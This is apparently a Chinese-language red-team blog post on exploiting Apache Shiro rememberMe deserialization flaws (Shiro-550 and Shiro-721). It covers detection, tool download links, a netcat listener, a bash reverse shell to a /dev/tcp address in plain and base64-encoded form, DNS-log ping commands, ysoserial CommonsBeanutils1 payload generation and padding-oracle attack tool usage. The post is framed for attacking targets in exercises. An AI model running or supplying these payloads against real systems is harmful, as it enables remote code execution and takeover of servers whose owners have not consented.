Shiro反序列化利用
前言:hvv單位這個漏洞挺多的,之前沒專門研究打法,特有此篇文章。
Shiro rememberMe反序列化漏洞(Shiro-550)
-
漏洞原理
Apache Shiro框架提供了記住密碼的功能(RememberMe),用戶登錄成功后會生成經過加密並編碼的cookie。在服務端對rememberMe的cookie值,先base64解碼然后AES解密再反序列化,就導致了反序列化RCE漏洞。
那么,Payload產生的過程:
命令=>序列化=>AES加密=>base64編碼=>RememberMe Cookie值
在整個漏洞利用過程中,比較重要的是AES加密的密鑰,如果沒有修改默認的密鑰那么就很容易就知道密鑰了,Payload構造起來也是十分的簡單。 -
影響版本
Apache Shiro < 1.2.4
-
特征判斷
返回包中包含rememberMe=deleteMe字段。
-
利用工具
-
國外下載地址:https://github.com/teamssix/shiro-check-rce/releases/
-
example:
python3 shiro-check-rce.py -u http://192.168.232.129:8080/ -c "ping xxx.ceye.io" -t token
-
-
漏洞檢測
-
反彈shell
注意:執行bash命令時需要對其進行編碼
轉碼平台:http://www.jackson-t.ca/runtime-exec-payloads.html
設置監聽:nc -lvvp 4444
原bash命令:bash -i >& /dev/tcp/192.168.232.129/4444 0>&1
轉碼后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMi4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
Shiro Padding Oracle Attack(Shiro-721)
-
漏洞原理
由於Apache Shiro cookie中通過 AES-128-CBC 模式加密的rememberMe字段存在問題,用戶可通過Padding Oracle 加密生成的攻擊代碼來構造惡意的rememberMe字段,並重新請求網站,進行反序列化攻擊,最終導致任意代碼執行。
-
影響版本
Apache Shiro < 1.4.2版本
-
漏洞利用
登錄Shiro網站,從cookie中獲得rememberMe字段的值。
HTTP/1.1 302 Found Server: Apache-Coyote/1.1 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Thu, 29-Oct-2020 06:21:41 GMT Set-Cookie: rememberMe=nHseK2L1X/khQcAePZT+F1EoLqCfzOvuUEAjmFBqOeGVVnI81f17LPzjPTyIR0Dmho/vYGuFnyrC8qE7PuE+KQ0Ql/LEz/yizxH6jYkJpfLVpkVUDXGAQt1Nh4jB5JlTWUbPmla+4HGJGombOY4TwLdO/SY4T4YOx0689KKJn6qmwnn1BfrT4XjiSTXXTYluLnlaKHOVgLrtOQ6IPP159ydV3P7/gP+lihh+nbif1Mzt8WSksJgV9qb2yfa+9jpdRYO9VN9dM1V5TF3//mGWjDttfnQQeCJKRjXEC4BscUigEpq3rtGQrH4L1uFoNbJM+IjK+goeW3toJoGIeRJ0SMuMDTovOivMOklNyxng9uQs6tzesoVbVLL5maMJwXuKFVaGtGPPuWcMLyUCyaj01PWBd/YSi7ZkWGTNRV8O4FYvcyl72/Qvz5NHzbXk8FQaX+BdHHsWgoIHg5dyM3ErscF1LCYM8y48T7ApwsyHsdZuzQd5A+qHwkg79D/ZQqYd; Path=/; Max-Age=31536000; Expires=Sat, 30-Oct-2021 06:21:41 GMT; HttpOnly Location: / Content-Length: 0 Date: Fri, 30 Oct 2020 06:21:41 GMT Connection: close
-
利用DNSlog探測,通過ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar http://192.168.232.129:8080/ CommonsBeanutils1 "ping l6szkn.dnslog.cn" > payload.class
-
使用rememberMe值作為prefix,加載Payload,進行Padding Oracle攻擊。
github項目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用方法:
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize class文件路徑
爆破成功:
-
利用很麻煩,而且這樣跑很容易把目標服務器跑出問題或者被ban IP,可以使用上面的工具進行利用比較靠譜。
參考
https://cloud.tencent.com/developer/article/1649614 :shiro漏洞檢測RCE工具
https://www.cnblogs.com/xiaozi/p/13239046.html: Shiro反序列化漏洞利用匯總(Shiro-550+Shiro-721)
https://www.cnblogs.com/yuyan-sec/p/12458806.html: Shiro反序列化漏洞利用
結語
之后還會陸續更新Shiro的漏洞,時間待定。